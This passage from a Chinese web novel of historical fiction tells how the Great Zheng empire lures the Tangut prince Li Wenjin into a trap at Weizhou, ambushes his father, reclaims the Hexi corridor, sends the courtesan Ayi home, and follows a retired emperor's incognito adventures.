如果他想跟自己亲爹父慈子孝,大郑不仅双手双脚欢迎,还会提供经济、军事、政治上的一切支持!打的越烈越好!最好是难分胜负,那可就太有意思了。 如果他决定安心休养生息,那就鼓动他多去劝劝李遗景,只要他疑虑重重、犹豫不决,让定难军不要动,大郑就能放开手收拾南方,至于说以后么…… 朔方府省吃俭用的攒上十几年,都赶不上大郑一年的收入。 所以,胡文庆还给李文锦提供了一个折中的选项,大郑中情局也认为他会选择这条路。 瞒着李遗景率兵南下攻打渭州。 “先生此三策,上策太急,我虽不肖,却也不愿背上囚父谋逆的骂名;下策又太缓,当断不断,反受其乱,夜长梦多…… 唯有中策倒是可以一试,只是那渭州李孝通着实有些本事,若是我擅自带兵南下,却没能攻下,回来后怕是会被父王狠狠发落……” 李文锦明显是心动了,如果他真的打下父亲这辈子都没有进去的渭州城,那不就证明了自己比他还强吗? 再想想今天他说的那些话,不得狠狠打他的脸!还什么比不上大哥,看清楚,我比你都强! 想向父亲证明自己的儿子,太多了。 况且李家嫡出的儿子就他和大哥两人,如今大哥在汴京留学,只不过是率兵出去打了一场仗,又不是造反。就算败了也不会影响自己的继承人地位,更不会影响性命。 只能说明还需要多加历练,挨顿骂、最多挨顿打就过去了。 胡文庆见鱼儿上钩了,露出了发自内心的开朗笑容,吸着气神秘的说道: “没有扇风翅,安敢跃千仞?在下就是对此事有些眉目,所以才敢冒死前来拜会二公子的。” “当真?!”李文锦闻言又惊又喜,情绪激动的站起身走到胡文庆身边,一把抓住他的胳膊,语气焦急的说道: “若先生真有良策破得了渭州城,千里关中便无险可守,父王不仅不会怪罪,反而会大加赏赐!到时候我必定将先生举荐给父王,将你的功劳尽数告知。 若是我李家果真能得天命,日后我克继大统,必拜先生为相国,引为国之柱石,封妻荫子,与国同休!!” 胡文庆也客气的起身,拉着打了鸡血的李文锦重新坐了下来,这才对他说道: “李孝通此人,极擅城关防御,闲时经常定期对百姓民众进行守城训练,甚至连妇人和孩童都不放过。夏王过去几年,都是被他蒙骗了。 虽然明面上守军只有几千,但实际上可以为城防提供支援的人数不在万人之下,经过这么多年的训练,渭州城中上到六十老汉,下到十岁稚童,都能有条不紊的支援防御,若要强攻,那便是正面应对数万乃至十万之众!” 原来是这样…… 李文锦恍然大悟,难怪李孝通只有区区几千人,父王以几倍甚至十几倍的兵力都拿不下,原因在这呢~ “那先生有何破城之策?” 胡文庆闻言一笑,伸出一根手指说道:“人多固然有人多的好处,但福祸相倚的道理却是万古不变。 李孝通征调百姓,只管饭,却不给银钱,长此以往,这么多人里总有一些不满的。也是巧了,在下就认识那么一些。” 李文锦顿时眼中一亮。 “另外,还有一事二公子可能还不知道,渭州城的郑军将领中,有一名校尉名叫胡文辉。此人曾多次与李孝通共同抵抗夏王天兵,但最后李孝通升了关西节略,他却只捞得几两银子,早就有了弃暗投明之意~” 李文锦看着胡文庆喃喃念叨道:“胡文辉……胡文辉……你叫胡文庆,他叫胡文辉,你们……” “正是家兄。” 那他妈还说什么?! 我承认李孝通守城确实很牛逼,我拿他真没办法。可现在城里有内应,地位不低,关系还这么铁,这不想办法干它一炮?! 只要城门一开,那帮只会躲在城垛子后面暗箭伤人、扔石头泼火油的缩头乌龟,能是党项骑兵的对手?砍瓜切菜好吧!! 李文锦将胡文庆留宿在了自己家中,还给他的房间送去了两个娇滴滴的少女,这个人可是他的掌中宝啊!把他伺候好了,拿下渭州,饮马灞桥,自己未必不能成为下一个李世民!! 李文锦根本不怕胡文庆骗他,只要把他牢牢控制在自己身旁,一旦情势不对就先剁了他! 兵临渭州也很好解释,就说自己带着军队日常巡逻拉练呢,反正只要城门没开,我就不主动攻城,还不让人走了? 航行…啊不,骑行自由—— 要是城门真的顺利打开,那还需要解释吗? 胡文庆美滋滋的跟那两名妙龄女子共度良宵,这趟差出的,牛肉也吃了,齐人之福也享了,回去后还能加官进爵,别提有多爽了! 李文锦明显已经心动了,胡文庆现在只有一个心愿,就是希望这小子能梭哈一把大的,多带点人,带的越多越好! 不过回想起临走时李经略给自己说的话,胡文庆还是有些感慨不已。都说人外有人、天外有天,他可算是见识到了。 所有人、包括他自己都觉得李经略就是个只顾低头干活的老实人,谁能想到他会这么阴,竟然用半辈子的信誉做饵,只为了这次能钓上党项骑兵。 定难军目前还有三万多名党项骑兵,这些人是李遗景雄据西北的政治资本,只要把这群人灭了,剩下的那五六万杂牌军,有跟没有没区别。 可惜不能全歼,能屠一半都够呛。 不过不要紧,只要李文锦能拉来一万党项骑兵,胡文庆也能刷爆礼部在西北分区的kpi,回到汴京后,魏尚书都得请自己吃饭。 时间一天一天的过去了,胡文庆不急不躁的待在李文锦的府邸里,哪里也没去,门口那些守卫估计也不会放自己出门逛街。 不着急,钓鱼要有耐心。 十二天后的深夜,左右各抱着一个侍女的胡文庆正睡的香呢,突然房门就被推开了。 李文锦一身黑甲毡毛铠,头戴兔绒围圈盔,整个人全副武装,背背牛皮箭筒,右腰挎硬弓、左腰挂弯刀,左手握着刀柄,右手一把将衣衫不整的胡文庆从床上拉了起来。 “做事了。” 第163章 请君入瓮 不是一万,也不是一半。 李文锦拉来了整整两万精锐党项骑兵。 至于他是怎么拉的,用了什么手段和方法,胡文庆已经不感兴趣了,他只看到了爵位在朝自己招手。昂~还有一座位于杨柳巷的四进宅院。 李文锦的偷感很重,明明是定难军少主,却比胡文庆还要着急,拼了命的率领大军进入六盘山,一路上还不许停歇。 连胡文庆都觉得有时候真的可以稍微歇一会,但李文锦斩钉截铁的摆手表示——不行。 木已成舟,此刻已经没有了回转的余地。要么拿下渭州城,要么回来挨鞭子,胡文庆从李文锦的眼睛中看到了只有赌坊里的人才有的红光。 六盘山沿路全是郑军岗哨和城寨,但胡文庆说这些都是他哥的人,叫李文锦放心干。李文锦并没有完全信任他,而是留下了一部分人接管了这些寨子和哨所。 此举让胡文庆心中忍不住想骂娘,这得少拿多少战功啊! 这些人绝对不会去通风报信的,怎么自己说真话这小子还不信呢! 风吹林野,飘落散叶。 马蹄隆隆惊起飞鸟,无数骑兵挎刀持枪,驱赶着胯下的马儿疾驰,让原本空气清新、幽静茂密的树林里弥漫起一片经久不散的黄尘。 渭州城头。 天空中阴云密布,但并不深厚,浅薄处的白光如同蛛网般交错串联,电光闪亮,更显的黑白分明、脉络清晰。 黑云压城,山雨欲来,狂风裹挟着黄沙肆无忌惮的在天地间起舞,将城头上插着的旗帜吹的猎猎作响。 城墙边站着一个人。 肩宽背阔,头顶束着高髻,所有头发都整齐的由前向后拢去,于耳根下散开,披落在双肩和后背。 脖颈修长雄壮,一身白色麻衣有些旧色,从左胸肋下伸上来一根宽大的皮带,斜着贴向右肩,将黑棕色的宽大披风紧紧锁在吞兽肩甲下。 浓眉黑厚,脸型冷毅,鼻子比较长,下三角有些方正,嘴唇细长,上窄下宽。 人中的胡须修的细长整齐,均匀的分向两边,下巴处是简单的山羊胡,但很短,显的他整个人非常干净精致。 腰腹背后横着一柄长方形剑鞘的宝刃,宽厚的腰带左侧挂着一颗三清铃,中间是一个圆形的太极图案,脚上踩着大郑武将的制式官靴。 孤心守孤城,胡马把门敲,高墙之下烈火烧。望斜阳落、残旗飘,马蹄太吵。闲坐云观,补战袍。 尘世访一遭,登遍崆峒道,绝顶之上众生小。看朱颜老、人去了,只付一笑。于风啸处,寻逍遥。 李孝通,四十一岁,字明达,道号无为子,崆峒山——白云观——紫霄殿的火居道人。 尘世中的身份是——大郑帝国陇右府步军都尉,西路行营关西经略。 这个身影,只是远远望过去,就让人不得不谨慎和小心,生出防备之意。 因为他的后腰上横挎着一柄一米三长、足足有一个成年男人手掌宽的兵器,由于剑鞘是长方形,所以谁也分不出里面是刀还是剑。 腰间还挂着一个黄铜材质的三清铃铛,握柄处有点像三叉戟,晃动一下,就会听到摄人心魄的空灵之音。 李孝通在渭州的威望已经无人能及,百分百胜率的战绩往那一甩,没有人敢去质疑他,也没有人配质疑他。 “经略,百姓们都已经撤离出去了。” 一名三十岁出头的校尉从城墙楼梯处上来,径直走到李孝通身旁,毕恭毕敬的朝着他行礼。 “文辉啊……你说,这秋叶为何而落,这怒拳又为谁而握呢?” 这…… 胡文辉面色有些不太自然,经略什么都好,就是有时候有点神神叨叨的,我哪知道为啥?你去问风啊…… “经略恕罪,末将资质愚钝,并不能参悟其中的道理。” “呵呵呵~” 李孝通低头一笑,抬眼望向远处巍峨连绵的群山,又看向阴沉昏暗的天空,爽朗大笑道: “杀生者不死,生生者不生,算算时间,你那胞弟也快到了,你去准备吧。珍惜今时今日,这场雨过后,我们就再也见不到党项人了。” 胡文辉抿了抿嘴唇,再次行礼道:“是。” 一只飞鸟拼命扑腾着翅膀,从距离不到地面三五米的地方低空掠过,似乎是在阴沉闷热的雨前捕捉飞虫,但紧接着,后面响起了隆隆的马蹄声。 黄沙漫天的地平线尽头,冲出了无数扬刀纵马的党项骑兵,他们有的手持长枪、有的手持大旗,身体前倾,一个接一个的快速从地面踏过,望不到边沿,也望不到尽头。 从高空俯瞰下去,只能看到一片黄色的烟雾扑向了屹立不动的渭州城。 这一路上遇到的探马、岗哨、城寨全是被胡文庆的长兄事先调度安排的,见到他们不是放行就是主动打招呼,探马们非但不跑,还朝着他们过来,想要加入。 李文锦并不信任他们,好声好气的给上两个赏钱,让他们全部到大军后面去。 如果到时候真的拿下了渭州城,那就证明他们是真心投靠,到时候再行封赏也不迟。 自己已经带着大军奔袭了两天一夜,就刚才休息了小半天,本来是准备等到夜里进攻的。但现在马上就要下雨了,大军走的匆忙没有带帐篷,泡一夜怕是会影响军心。 反正有内应,直接进!去渭州城中过夜! 如果没有内应,就先杀了胡文庆,然后回家挨揍,眼下就这两条路,没有别的选项了!! 一身甲胄的李文锦一边骑在马上飞奔,一边朝着身旁的胡文庆厉声喝问道:“确定是西门吗?” 马蹄声太吵,即使党项骑兵们没有呐喊助威,胡文庆也有些听不清李文锦的话:“什么——” “我说!你确定你兄长是在西门值守吗?!!” “嗷…是!确定!!” 李文锦听完后,抬起左手朝着身旁的一名将领挥了挥手,那人便调转马头朝着渭州北门奔去,还分走了一部分兵马。 但大部分人马都跟在李文锦和胡文庆身后,不断的抽着马鞭,踢着马肚。 大夏只有这一次机会了,上去就上去了,上不去就基本没了。 城头上已经响起了叮叮当当的警锣声,城门楼子上的洪钟和鼓声同时响起,听着十分急切和紧迫。李文锦听到这些令人内心不安的聒噪,一直紧绷的神经反而放松了一点。 这说明,里面的人真的没有准备。 “儿郎们!我们被这座城阻拦的太久了!久到已经忘记了南边是什么模样!还记得夏州和陇右的血债吗?!还记得死在这面城墙下的兄弟父叔吗?! 记住!一会城门大开之后,不要停下你们的马蹄,杀光看到的每一个人!烧毁遇到的每一间房!直到横穿整座城!!报仇雪恨的时候到了,冲啊!!” “杀——” 铺天盖地的呐喊声瞬间冲破云霄,上万匹马跃蹄狂奔,将大地震颤的微微抖动,飞沙走石,人喊马嘶!! “吱呀~~” 随着一道酸牙的声音响起,那道永远都不会为他们而开放的渭州城门,竟然真的打开了! 里面的城洞、砖石、拒马、甚至连房屋瓦舍都已经隐约可见,原来里面是长这个样子的啊…… 冲在最前面的党项骑兵直接一股脑的钻了进去,硬生生的用马将门撞开,里面为他们开门的那些内应,也因为挡了路而被无情的挥刀砍翻!! 这些人冲进城中后,发现有许多散兵游勇都匆匆忙忙的从街道和巷子里跑了过来,妄图拦住他们。党项骑兵们立刻就露出了残忍的笑容,可算是等到今天了!! 双方也没有废话,直接展开了厮杀! 这些守城的郑军明显不是党项骑兵的对手,抵抗了一阵以后,纷纷丢了武器抱头鼠窜。党项骑兵们立刻分成数道洪流,沿着街道一路追杀而去,四处纵火,见人就杀!! 城外的李文锦很谨慎,并没有急着带头冲,直到看到数千名骑兵都进入了城里后,这才长长的舒了一口气! 这个时候,就算胡文庆是诈降,也无所谓了。 城门已破,结局再无悬念。 “听令!全军入城!清理城内的所有郑军,男人杀光,女人任由你们处置!谁抢到就是谁的!小孩抓回灵州发卖!” “是!!” 军令一下,剩下的党项骑兵们也纷纷争先恐后的涌进了渭州城中,生怕慢了一步,金银财宝和貌美妇人被别人捷足先登。 被留下来驻守城门的定难军脸色难看,这么大的顺风局,他们偏偏被分来守门,看着别人在里面发财享乐。大家都是长途奔袭而来,累的跟狗一样,凭什么?? 正当他们长吁短叹之际,一个刚刚将马拴好的小卒余光好像感觉到了什么,扭头向着他们来时的方向望去。 满地的马蹄印,有些地方还有几坨马粪。 可是,远处那些人是哪来的?? 我们……还有后军步卒吗? 等到那群横跨整个视野的步卒走到近前时,这些负责守城门的党项骑兵才发觉不对,他们手中的盾牌、长枪、刀剑和铠甲,好熟悉啊…… 郑军。 “快关城门!快关城门!!” “不要关!不要关!!” 负责把守城门的定难军百夫长正要下令关门,从城里飞奔过来一骑,远远的就挥着手狂喊!而且还面色惊恐,神情慌张。 “砰!!” 坐下马儿已经透支了力气,前蹄一软直接摔倒在了地上,将马背上的骑兵重重的甩飞出去!那马口鼻皆吐白沫,眼看是被累的不行了。 “呃……” 这名骑兵挣扎着抬起脸,满脸都是黄土,口唇煞白,艰难的说道:“快……快去挡住他们……我们……中计了……” 用尽全力说完这些话后,他就重新一趴,昏了过去。 党项百夫长和留守城门的这几十名士兵懵了,纷纷扭头看向已经距离他们不到百步、密密麻麻根本看不见尽头的郑军,就凭这几十个人,怎么拦? 拿头拦!! 冲进城里的李文锦一开始还很激动,因为城门附近全是郑军和手下骑兵的尸体,这说明对方在拼命抵抗,彻底将他遗留在心中的最后一丝疑虑都打消了,直接扬鞭飞奔,直奔府衙所在。 他要亲手捉住李孝通,将他带到父王面前,狠狠的扬眉吐气一把!! 实在不行,把他的人头带回去也行。 反正今天过后,自己将一举超越大哥!甚至超越父亲! 可是,当他走进城中主要居民区后,在那么不经意间,突然就心里“咯噔”了一下。 地上还是有很多郑军的尸体,这作不得假。 但问题是,没有一具尸体是普通百姓的。 一股浓烈的不安从他心头升起,他又驱马向前跑了几十步,把周围的街道和小巷子都看了两眼,还是没有看到任何百姓的尸体,一具都没有! “胡先生!胡先生!胡……” 胡文庆呢??? 左顾右盼的大喊了几句,没有任何回应,也找不见胡文庆的人影后,李文锦的后背汗毛直竖,冷汗快速渗出,在很短的时间内凝结成水珠状。 不……不会吧…… 渭州城西门,立在马上的李孝通望着郑军杀进了城中后,缓缓将右手搭在腰后的刃柄上,左手背在后面按住鞘,将那柄神秘的兵器抽了出来。 非刀非剑,而是一把又宽又厚的双刃尺。 “一个不留。” 他话音刚落,无数郑军面目狰狞的嘶吼起来,握紧手中的武器,蜂拥而上钻进了熟悉的城门楼洞中! “杀——” 在马克沁出现之前,骑兵冲锋完全无解,弓、陷、拒都只是限制手段,并不会起到决定性的作用。 对付骑兵的办法只有一个,那就是也用骑兵去对冲。 但在街道纵横的巷陌中,这些纵横大漠草原的党项骑兵和活靶子没有区别。 尤其是他们刚才已经耗尽了马力。 所以,他们不得不跳下马来,选择步战。 跟渭州城中的郑军步战,并不是一个好的选择,他们熟悉城中的每一处街道、每一口水井、每一家店铺。 而且,定难军对他们有个误解。 擅长防守战,并不等于战力孱弱。相反,在贴身对砍这一领域,对方似乎比他们更在行。 —— 李遗景疯了! 当他知道二儿子带着自己的两万棺材本南下去了渭州后,已经是三个时辰后的事了。 而且李文锦为了不被他发现,更是一路狂奔,还留下贴身心腹专门阻拦他的传令兵,逼的他不得不点齐剩下那一万精骑,亲自率领着他们来追。 快点…… 再快点…… 一定要赶上啊!如果赶不上的话,不打也得打了! 自己怎么会生了这么个混蛋玩意啊!! 李孝通是他能应付了的人吗?! 难道是上次自己把儿子骂的太难听了? 心乱如麻的追至六盘山雪台沟时,李遗景不再胡思乱想了,因为他已经彻底绝望了。 峡谷前方列着整整齐齐的郑军,弓已经上弦,刀已经出鞘,枪尖四十五度向前倾斜着架在盾牌上,在昏暗的阴雨天泛着明晃晃的寒光。 为首的将领也不陌生,正是韩登手底下最不要命的那个疯子李卿,自己家的祖坟就是被这家伙强行接管去的。 李遗景冷着脸让他滚开,自己现在没空跟他纠缠,若是因为他的缘故,导致自己的儿子和朝廷军队产生了摩擦或者误会,他要负全部责任的! 李卿连着冷笑了三声,仿佛听到了这世间最好笑的笑话,还有功夫管你儿子呢?先管好你自己吧! 一声哨箭飞上天空,山谷两旁的树林高坡上,瞬间钻出无数郑军。他们摇旗呐喊,挥舞兵器,还坏笑着推出早已准备好的圆石滚木,将李遗景和党项骑兵的马儿惊的不安转圈,马蹄拨土。 下一刻,一片箭雨从空中升起。 “杀——” —— 思维的差距是没有办法弥补的,李遗景和李文锦父子俩都忽略了一件事情,种平南下后,关中确实防务空虚,但还有将近五万人马。 由于他们分别驻守在各个城镇,所以李家父子理所当然的认为是他们掌握着主动权,打或不打,只在他们一念之间。 可是,这五万人是可以聚集起来的。 渭州城也不一定就是个乌龟壳,它也可以是一口大瓮。 作为非常了解李遗景心思的关中诸将,种平、李孝通等人早就觉得李遗景会趁机搞事情,最起码有可能搞事情。 为了以防万一,还不如直接把这种可能扼杀在摇篮里。 于是,在出发前往汉中前,种平联合关中各地的主要军事将领,向汴京呈上去一道札子,探讨引蛇出洞的可行性。 中书门下研究过后,觉得可行。 如果担心路边的椰子成熟后可能会掉下来砸到行人…… 那干脆现在就直接把它摘了不就得了~ 此举也并非大郑不厚道,如果李家没有异心,或者没有胆子,自然就不会有这等祸事。 但是很明显,他们有。 那就对不起了。 第164章 归去 大郑的钓鱼执法虽然有点不地道,但正所谓苍蝇不叮无缝的蛋、一个巴掌拍不响(说扇脸的一边玩去),李家父子如果没有贼胆包天的想法,自然也不会上钩。 李孝通透支了半辈子的信誉积分,才骗来了两万党项男模,还下血本搭上了一整座渭州城,自然是要全力以赴,今晚无论如何也要得吃! 三年就三年,豁出去了! 于是,一夜过后,整个渭州城的街道、巷陌、院子、商铺、草地、水塘甚至茅厕,到处都是党项骑兵的尸体。 雨水混杂着血水,沿着砖缝和低洼蜿蜒流淌,汇聚成深红色的血泊。当李文锦被郑军将士五花大绑押到他面前跪下时,李孝通这才长长的吐了一口气,任由冰冷的雨水拍打着坚毅的面庞。 打着黄油伞的胡文庆这才一蹦一跳的不知道从哪里窜了出来,笑嘻嘻的站在了李孝通身边,对着李文锦嘿嘿嘿。 李文锦不恨李孝通,实在干不过他,这是没有办法的事情。 但他现在想生啖胡文庆的肉、寝胡文庆的皮!自己请他吃饭、送他女人、那么信任他,把他引为自己的心腹谋臣,是走了心的! 他竟然还是骗了自己! 他就没有一点感情、没有过一丝触动吗?哪怕一丝呢! “胡贼!奸贼!恶贼!逆贼!!枉我那么相信你!从不因你是郑人猜疑,你就是这么报答我的?!我两万将士啊——” 李文锦发丝凌乱,衣甲破损,跪在浑浊的泥浆中,挣扎着想要起身。哪怕是用牙咬,也要咬死胡文庆。 胡文庆跳着躲到李孝通身后,一脸嫌弃望着眼前陷入疯狂的李文锦,并不打算跟他浪费口水。各为其主先不说,你要是没有不正当的想法,能被我骗了? 仙人跳,也要你跳进来才能起作用啊~ 李孝通面无表情的看着眼前的李文锦被两个军士死死压倒在地面上,口鼻灌进去泥浆、一半的脸和眼睛被糊的睁不开,犹自大骂不绝。 “拖下去,囚入槛车,押往长安。” 两万统属于定难军的党项骑兵,死了一万三,被俘虏了五千多,只跑了零星几个。 李孝通的这次梭哈非常成功,往后十五年以内,李遗景别想翻身了,创业背的贷款能还上就不错了。 之前本来每年就有进贡指标,如今这一场大败,只会招来更严厉的经济枷锁,回去估计要砸锅卖铁才能凑够赔款,用来犒劳不辞辛苦的郑军将士。 前提是,他能从李卿手中活下来。 原先的关中军从士卒到将领,应该都是有些地区传统的,他们的作战方式极具个人风格,比如李孝通最擅长的就是拒绝,而李卿最擅长的,是尾随。 虽然遭了埋伏,一开战就落入了下风,但李遗景这么多年能够纵横西北,牛皮也不吹出来的。 他当机立断,迅速割舍出一部分人马用生命断后,然后派人将郑军从山上滚下来的石头乱木清理掉,硬生生拼出一条活路。 深山老林,人迹罕至。 心慌意乱的李遗景低头匆匆赶路,只想快点回到位于灵州的家中,还时不时的回头确认李卿的距离。 而李卿就跟个痴汉一样紧紧尾随在他的身后,时不时的撩拨他一下。或是言语挑逗,或是张臂拦路,或是趴地窥裙,要多变态有多变态,要多恶心有多恶心。 关键是还没有人能够为李遗景主持公道。这个时候路上如果再出现人,是李卿同伙的概率有九成九。 李卿不急不缓的追着,对定难军残部造成了很大的心理压力,总是在他们最放松的那一刻突然发动袭击,也不管战果如何,又迅速的拉开距离。 目的只有一个,就是让这群人留下创伤性应激障碍,即使回到灵州,也是一群精神快要错乱的不正常人群。 要让他们永远记住,胆敢挑衅大郑的后果!! 出了六盘山后,李遗景下令全军快速奔走,他是一刻也忍不了了,只想快点回家。 偏将跟他说,这么下去总不是个办法,先前在山里面没有优势,现在到了大平地,是我们党项骑兵的主场。而且敌人显然已经成了骄兵,轻敌冒进。 不如出其不意的反手给李卿来上一棒子,让这个变态清醒清醒。 李遗景听罢后纠结了很久,最终还是叹了口气。 算了~ 大儿子在汴京留学,小儿子现在也生死不明,其余旁出的儿子们又不顶事,要挑一个出来培养;死了这么多将士,他们的家眷需要交待和抚慰;接下来还得和大郑商量赔偿条件。 自己还有很多事情要做,需要时间。 及时止损吧,目前还有六千多名骑兵,长安已经成了遥不可及的梦,灵州总要留点人守住的呀! 万一跟李卿胶着起来,后面的李孝通或者其他哪位老熟人率兵赶来,到那时只怕是想走都走不了了。 甚至兵临灵州城下都是有可能的。 就算真能杀了李卿,全歼了他的追兵,那又能怎么样呢?只会迎来更加猛烈的报复和更加沉重的赔款。现在的朔方府,已经没有资格去跟汴京拍桌子表达不满了。 虽然这次攻打渭州并不是由李遗景主观上发起,而是二儿子李文锦开的团。但如果不是他本身就有这个意向,李文锦也不敢自作主张去冒险,那些定难军将帅和士卒也不会轻易相信少主的谎话并且甘愿跟随。 大家都以为是李遗景的意思,毕竟他这么多年一直都是这样干的。 一场豪赌,输的倾家荡产。 李家失去了控制西北各地的军事能力,也失去了辐射周边的威慑力,不得不将一些非常重要的地方吐出来割给大郑。 而这其中最重要的,便是河西四郡。 羌笛何须怨杨柳,春风不度玉门关。 酒泉郡、武威郡、张掖郡、敦煌郡,组成了中原王朝联通西域的丝绸之路,自唐灭亡以来,一直为异族和番邦窃取占据,又或是各自为政困守孤地。 但现在不同了,时隔百年,来自关陇地区的大股兵马重新出现在这片被遗忘的土地上,汴京派来的官吏也进入了这些城池主政,许多古稀老人望眼欲穿、苦苦等盼的王师,终于来了! 大郑重开丝绸之路,派使者前往西域各个城邦晓谕上命,欢迎他们进入中原行商、求学、嫁娶和交流,明令他们与大郑平民同等待遇,赏罚同律。 就像大唐时那样,就像大汉时那样。 早在七百年前,我们就已经是一家人了。 当然了,大郑的商人、平民到了西域,也必须给予同等待遇,有功劳的赏、有才能的用、犯了罪的按当地法律处罚。 如果敢刻意针对他们,那下次来的,就是郑军了。 我们有一位叫李卿的将军,最近搬迁到了酒泉郡居住。他为人和善,平易近人,最喜欢到处旅游,去没有去过的地方,见没有见过的人,相信西域各国的国王们会喜欢的。 圣旨一到,这些在沙漠绿洲中品着葡萄美酒的国王们立刻明白了其中的含义。 丝绸之路重开后带来的经济效益和文化影响、以及对生产力的提升都有不可估量的作用,符合双方贵族和平民的利益。 只要不是夜郎自大到去挑战汴京的耐心,或者好奇郑军的刀剑质量,大郑是不会主动动武的,以前在汉唐时期都是这么干的。 大郑,要成为自汉、唐之后的又一个继往开来、大一统的全盛王朝! 相对于李遗景的黯然神伤,另一个人则完全相反,高兴的走路都要哼歌了。 河西四郡回归大郑后,阿依姑娘终于能够回家了。 她再也不用担心会被李遗景的人当成大郑探子或者细作之类的扣下羁押,也不用费时费力的搞通关文牒,沿途的人身财产安全也有了保障。 为什么有保障? 李卿自从回到韩登的怀抱后,人生迎来了翻天覆地的变化,从一个芝麻大的小校,接连跳升,晋升速度堪比火箭,在大郑官员中可以排进前三,仅次于凌晨和吕齐。 再后来更是一路高歌猛进,成为了大郑西部行营将领中的后起之秀。 直到今天升任河西知府,坐镇西北。 他非常享受这种通过自身的奋斗得到权力和地位的过程,这种感觉实在是太美妙了~ 今天的一切都来之不易,是用血与汗铸就的!所以,谁要是敢添堵上眼药,李卿一定会追寻到天涯海角,哪怕是钻进地底下,也要把他给挖出来。 在这一点上,韩珑、李遗景都深有体会。 更不要说河西四郡的响马跟盗匪了,只要白天劫了道,你最好当晚就能翻过祁连山爬上青藏高原。否则,你的身后将会出现一只吐着信子的科莫多巨蜥。 大家都很看重自己的口碑,李卿明显是在休沐时利用空闲时间阅读过琅琊郡公的自传,所以格外注意形象维护。 沿途通畅、治安良好,西域那边也传来了好消息,大家都愿意接受郑皇陛下的领导,共同为了美好的明天努力奋斗,所以从汴京到龟兹的路,已经畅通无阻。 阿依姑娘从很小的时候就跟着父母,以俘虏奴隶的身份颠沛流离,不知道经过了几手转卖,最终被卖到了汴京的松竹楼。 时光匆匆,已经过去了将近二十年,家乡的记忆已经变得模糊不清,脑海里还存在的,只有坎儿井、葡萄园,还有空气中可见的浮尘、从孔洞中透进无数道阳光的荫房。 现在,终于可以踏上归家的路程了。 唯一让阿依有些纳闷的是,当她将这些年积攒的赎身银拿给东家,说明意图后。向来以脾气不好、手段狠毒、心肠坚硬著称的松竹楼楼主,把头摇的跟拨浪鼓一样,说什么也不要她的银子。 不仅如此,对方还跑去官府帮自己弄来了各种文书手续,又附赠了百两纹银和马车,说是这些年养大自己,也是有感情的,就当送给女儿的嫁妆了,还要她务必收下。 虽然不明白东家的态度为何会一百八十度大转弯,但能好聚好散不闹僵关系,阿依内心其实是很高兴的。 灞桥的柳叶深绿,有个别干枯的已经随风飘落,夏末时节,昔人离别。 包括沈棠、赵霁、祁梅儿、段音、以及那位妙姐姐在内,所有名动汴京的美人都悉数到场了。 只是场面并不热闹,反而有些凄凉。 虽然大家平时是竞争关系,但说到底,都是薄命红颜,清一色的苦命人。 如今阿依挣脱樊笼,如鱼入大海、鸟上青天,再也不受羁绊了。她们既为她感到高兴,又有些不舍,还夹杂着对自我身世的感慨和迷茫。 凌晨和解二骑着马立在河对面的一家茶棚前,远远的望着。 “侯爷,跟贾公、柳太守都打过招呼了,李知府那边路途遥远,人还没回来,不过应该也不会有问题。” “嗯~~” 见凌晨反应平平,觉得有些奇怪的解二不禁又好奇的朝着被众人拥簇阿依那边望了望。 “侯爷,其实……可以跟夫人商量商量的,也不见得就……” “啧~” 凌晨眉头一皱,满脸嫌弃的瞪了一眼解二,很不耐烦的骂道:“你要是再胡说八道,信不信我割了你的舌头?” 解二闻言立刻闭上了嘴巴,两个腮帮子都有些微鼓,他能感觉出来,侯爷是真有些不高兴了。 感觉到话有些重了的凌晨撇了撇嘴,无奈的说道:“我是因为上次在长安抬举祁姑娘和段姑娘,影响了人阿依姑娘的归家计划,心中愧疚,所以帮帮忙补偿人家。” 解二这才恍然大悟的点了点头,但还是心中不解,不过这次他没有说出来。 侯爷做事一向目标明确、意志坚定,什么时候会考虑对别人的影响? 更别提补偿了! 要这么说的话,侯爷帮助陛下夺取江山,怎么不给孙芝和应开疆补偿?怎么不对孟玄和李雄心生愧疚? 凌晨没空去理会解二怎么想,在看到阿依被人扶着登上马车后,轻轻舒了一口气,勒着缰绳调转马头,朝着城门缓缓走去。 阿依掀起马车帘子,忽然心有所感,抬头向着汴京城门望了一眼,随即便低下头钻进了马车里。 别了,汴京。 第165章 梨园会 听说过上班猝死的,没听说过不上班饿死的。 只要心中有沙和海,哪里都是马尔代夫。 老文自从不去上班后,已经彻底去除了身上的班味和死气,寻找到了人生的乐趣所在,在汴京城中彻底玩嗨了,精神焕发! 以前只顾着砍人和防着被人砍,人到老年依然要深谋远虑和别人逢场作戏、使心眼子,费尽一生心力、踏着万具枯骨才得到那把冰冷的椅子,顺带还喜提大孝子一枚、分财产老婆一位。 为了走出心理创伤,也为了体验当皇帝的终极快乐,他爱上了微服私访。 如果再年轻二十岁,或许还能更快乐。 至于那帮不管是发怒还是关心都不理会自己的史官,就当是买来的劣质手办了,放一边吃灰去,爱怎么样怎么样去吧~ 千秋功过,自有后人评说。 冢中英雄,岂惧书生妄言。 高级的欲望需要克制,低级的欲望唾手可得,老文如今最喜欢干的事就是路见不平拔刀相助和装逼打脸天降正义。哪里有争吵就去哪里,哪里有冲突就去哪里,化身行走世界的裁决者,爱上了调解矛盾。 普天之下,皆由我予夺生杀。 当皇帝为的不就是这个么?不然当它干嘛? 南村群童欺负老而无力的白发翁,被一直藏在暗处的御林军汉们逮小鸡似的统统抓了回来,按在地上排成一排。扒了裤子后,老文亲自上阵,撸起袖子用柳条挨个抽屁股。 听到他们哇哇大哭的声音响彻小巷,回音袅袅,老文的变态心理得到了极大的满足。 啊——爽! 听说白发翁无儿无女,善良的“颜太公”叹着气给他留下五十两银子,还叫人去告诉本片区的地方官员和社区居委会,白发翁要是死在自己前面,他们也可以交代后事了。 什么?有困难? 有困难去解决啊,跟我说干嘛? 孤儿寡母被坊正带人上门欺负,克扣了原本属于他们母子的抚恤金不说,还要巧取豪夺、拿了他们家的院子做酿酒作坊。 真真是岂有此理! 老文的处理方式十分幽默,假装是那对母子的外地亲戚,一上来就强势教育了坊正和他手下的那帮狗腿子,把一群倒霉蛋打的哭爹喊娘,临了还告诉他们—— “我还会再回来的,你们给我小心着点!” 越活越年轻,越来越像个孩子了。 凌晨和韩登这样的年轻小伙都已经不屑去做的傻事,他干的乐此不疲。果然人只有在使坏的时候才会精力满满。 虽然已经没有了年轻的身体,但依然不妨碍郑皇陛下逛青楼、游楚馆,观看那些令人赏心悦目的姑娘。花开的正艳,纵使不能摘取移栽,远远的欣赏景色也挺好的。 猛虎嗅蔷薇,帝王临教坊。 离了个大谱…… 